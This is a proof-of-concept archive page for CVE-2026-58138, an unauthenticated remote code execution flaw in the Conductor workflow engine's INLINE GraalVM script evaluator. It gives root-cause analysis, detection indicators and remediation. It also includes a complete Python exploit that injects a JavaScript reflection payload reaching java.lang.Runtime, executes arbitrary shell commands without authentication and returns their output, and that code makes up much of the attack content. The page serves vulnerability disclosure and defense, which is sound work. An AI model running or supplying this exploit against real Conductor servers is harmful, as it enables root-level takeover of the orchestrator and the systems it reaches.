PoC Archive PoC Archive
Critical CVE-2026-58138 ([VulnCheck advisory](https://www.vulncheck.com/advisories/orkes-conductor-unauthenticated-rce-via-graalvm-script-evaluators)) patched

Netflix Conductor Unauthenticated RCE via INLINE GraalVM Evaluator — CVE-2026-58138

by Caio Fabrício (BiiTts) — [github.com/BiiTts](https://github.com/BiiTts) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-58138 ([VulnCheck advisory](https://www.vulncheck.com/advisories/orkes-conductor-unauthenticated-rce-via-graalvm-script-evaluators))
Category
misc
Affected product
Conductor (OSS / Orkes workflow orchestration engine), community API
Affected versions
3.21.21 through versions before 3.30.2 (fixed in 3.30.2; lab reproduces against 3.22.3). Per source repository, 3.30.0/3.30.1 added a partial denyAccess blocklist that this specific PoC does not claim to bypass.
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06-30
Author / ResearcherCaio Fabrício (BiiTts) — github.com/BiiTts
CVE / AdvisoryCVE-2026-58138 (VulnCheck advisory)
Categorymisc
SeverityCritical
CVSS Score9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, per source repository)
StatusPoC
Tagsconductor, orkes, graalvm, script-evaluator, host-access, workflow-engine, unauth-rce
RelatedN/A

Affected Target

FieldValue
Software / SystemConductor (OSS / Orkes workflow orchestration engine), community API
Versions Affected3.21.21 through versions before 3.30.2 (fixed in 3.30.2; lab reproduces against 3.22.3). Per source repository, 3.30.0/3.30.1 added a partial denyAccess blocklist that this specific PoC does not claim to bypass.
Language / PlatformJava / GraalVM (target); PoC client is Python 3 standard library only
Authentication RequiredNo — the community Conductor API has no authentication by default
Network Access RequiredYes — reach the Conductor REST API (default port 8080)

Summary

Conductor evaluates user-supplied JavaScript (and Python) expressions in INLINE (and related LAMBDA/DO_WHILE/SWITCH) workflow tasks using a GraalVM polyglot context built with full host access (HostAccess.ALL / allowAllAccess(true)). Because the community REST API requires no authentication, an attacker can register and start a workflow whose INLINE task contains a script that uses Java reflection to reach java.lang.Runtime and execute OS commands, with the resulting stdout returned as the task’s output. The PoC reproduces this end-to-end against conductoross/conductor:3.22.3, confirming command execution running as root inside the container.


Vulnerability Details

Root Cause

core/.../events/ScriptEvaluator.java (versions up to ~3.29.x, including the lab’s 3.22.3) builds its GraalVM JavaScript context as:

1
2
3
return Context.newBuilder("js")
        .allowHostAccess(HostAccess.ALL)   // full host interop -> no sandbox
        .build();

HostAccess.ALL disables GraalVM’s polyglot sandbox, allowing the script to call any public method or field on Java host objects. The INLINE task binds its input parameters as a live Java object ($) inside the script scope. From that object the script can call .getClass().getClass() to reach java.lang.Class, then use Class.forName to load arbitrary classes — including java.lang.Runtime — and invoke Runtime.exec(...) to run OS commands. PythonEvaluator.java has the equivalent issue via Context.newBuilder("python").allowAllAccess(true).

Attack Vector

  1. Register a workflow definition via POST /api/metadata/workflow (unauthenticated) containing a single INLINE task whose inputParameters.expression is a JavaScript payload that bootstraps reflection from the bound $ object to reach Class.forName, loads java.lang.Runtime, builds a String[]{"sh","-c",cmd} array reflectively, and calls Runtime.exec(...).
  2. Start the workflow via POST /api/workflow/{name} (unauthenticated); the INLINE task’s expression is evaluated synchronously inside the GraalVM JS context.
  3. The script reads the spawned process’s stdout via InputStreamReader/BufferedReader and returns it as the JS expression’s result, which Conductor stores as the task’s outputData.result.
  4. The attacker retrieves the result via GET /api/workflow/{id}?includeTasks=true, reading the INLINE task’s outputData.result field — the live stdout of the executed command.

Impact

An unauthenticated remote attacker who can reach the Conductor API can execute arbitrary OS commands on the orchestrator host. In the reproduced lab this ran as root inside the container, giving full compromise of the workflow engine, its task queues/persistence layer, and any downstream systems or credentials reachable from workflows it orchestrates.


Environment / Lab Setup

Target:   Docker container running conductoross/conductor:3.22.3 (all-in-one image), REST API on port 8080, no authentication configured.
Attacker: Python 3 standard library only (urllib.request); network reachability to target:8080.

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
docker compose -f lab/docker-compose.yml up -d        # conductoross/conductor:3.22.3 (in affected range)
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"

The script registers a workflow definition whose single INLINE task carries a JavaScript reflection payload, starts the workflow, waits briefly, then reads back the task’s output via the workflow status API — printing the target command’s live stdout (e.g. uid=0(root) gid=0(root) groups=0(root)) as confirmation of unauthenticated code execution on the Conductor host.


Detection & Indicators of Compromise

[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=3c664bba-88c0-4730-a020-c1dafd94673e; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)

Signs of compromise:

  • Workflow definitions registered via POST /api/metadata/workflow whose INLINE/LAMBDA/DO_WHILE/SWITCH task expression fields reference getClass, forName, Runtime, exec, ProcessBuilder, or other Java reflection primitives.
  • Conductor server process spawning shell (sh -c) or other unexpected child processes.
  • Unexplained workflow executions from unauthenticated/unfamiliar clients, especially ones defining single-task INLINE workflows.

Remediation

ActionDetail
Primary fixUpgrade to Conductor >= 3.30.2, which adds allowHostClassLoading(false) and removes allowAllAccess from the Python evaluator, preventing scripts from materializing the host classes needed to reach Runtime.
Interim mitigationPut authentication in front of the Conductor API; run the Conductor server process as a non-root, least-privilege user; restrict which clients/networks can register or start workflows; monitor workflow definitions for reflection-related script content.

References


Notes

Mirrored from https://github.com/BiiTts/CVE-2026-58138-Conductor-Unauth-RCE on 2026-07-05.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
"""
CVE-2026-58138 - Orkes/OSS Conductor 3.21.21..3.30.1 - Unauthenticated RCE

Conductor's INLINE task evaluates a user-supplied JavaScript expression with a GraalVM
context built with full host access:

    core/.../events/ScriptEvaluator.java:
        Context.newBuilder("js").allowHostAccess(HostAccess.ALL) ...   # vulnerable

With host access enabled, the script reflects from the bound input object up to
java.lang.Class.forName, loads java.lang.Runtime, and calls Runtime.exec — arbitrary
OS command execution. The Conductor community API has no authentication by default, so
submitting a workflow whose INLINE task carries this expression is an unauthenticated RCE.

Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import json
import sys
import time
import urllib.request


def js_rce(cmd):
    # Bootstrap reflection from the bound input object ($), load Runtime, build a String[]
    # ['sh','-c',cmd] reflectively, exec it, and return the command's stdout as the task result.
    c = cmd.replace("\\", "\\\\").replace("'", "\\'")
    return (
        "var k=$.getClass().getClass();"
        "var S=k.getMethod('getName').getReturnType();"
        "var forName=k.getMethod('forName',S);"
        "var L=function(n){return forName.invoke(null,[n]);};"
        "var RT=L('java.lang.Runtime');"
        "var rt=RT.getMethod('getRuntime').invoke(null,[]);"
        "var I=L('java.lang.Integer').getField('TYPE').get(null);"
        "var A=L('java.lang.reflect.Array');"
        "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);"
        "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));"
        f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);"
        "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();"
        "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());"
        "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);"
        "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"
    )


def call(base, path, data=None, method=None):
    url = base.rstrip("/") + path
    body = json.dumps(data).encode() if data is not None else None
    req = urllib.request.Request(url, data=body, method=method or ("POST" if data is not None else "GET"),
                                 headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"})
    with urllib.request.urlopen(req, timeout=30) as r:
        raw = r.read().decode()
        try:
            return r.status, json.loads(raw)
        except Exception:
            return r.status, raw


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-58138 Conductor unauth RCE PoC")
    ap.add_argument("target", help="Conductor API base, e.g. http://127.0.0.1:8080")
    ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the Conductor host")
    args = ap.parse_args()

    wf = "pwn_" + str(int(time.time()))
    wfdef = {
        "name": wf, "version": 1, "schemaVersion": 2, "ownerEmail": "poc@example.com",
        "tasks": [{
            "name": "pwn", "taskReferenceName": "pwn", "type": "INLINE",
            "inputParameters": {"evaluatorType": "javascript", "expression": js_rce(args.cmd)},
        }],
    }
    print(f"[*] {args.target}  cmd={args.cmd!r}")
    print("[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)")
    call(args.target, "/api/metadata/workflow", wfdef)              # register (unauthenticated)
    st, wid = call(args.target, f"/api/workflow/{wf}", {})  # start (unauthenticated)
    wid = wid if isinstance(wid, str) else str(wid)
    print(f"[*] started workflow id={wid}; reading INLINE task output ...")
    time.sleep(2)
    st, info = call(args.target, f"/api/workflow/{wid}?includeTasks=true")
    out = None
    for t in (info.get("tasks") or []):
        if t.get("taskType") == "INLINE":
            out = (t.get("outputData") or {}).get("result")
    if out:
        print("\n[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:")
        print(str(out).strip())
    else:
        print("[!] no result; workflow status:", info.get("status"))
        print("    task output:", json.dumps((info.get("tasks") or [{}])[-1].get("outputData", {}))[:300])


if __name__ == "__main__":
    sys.exit(main())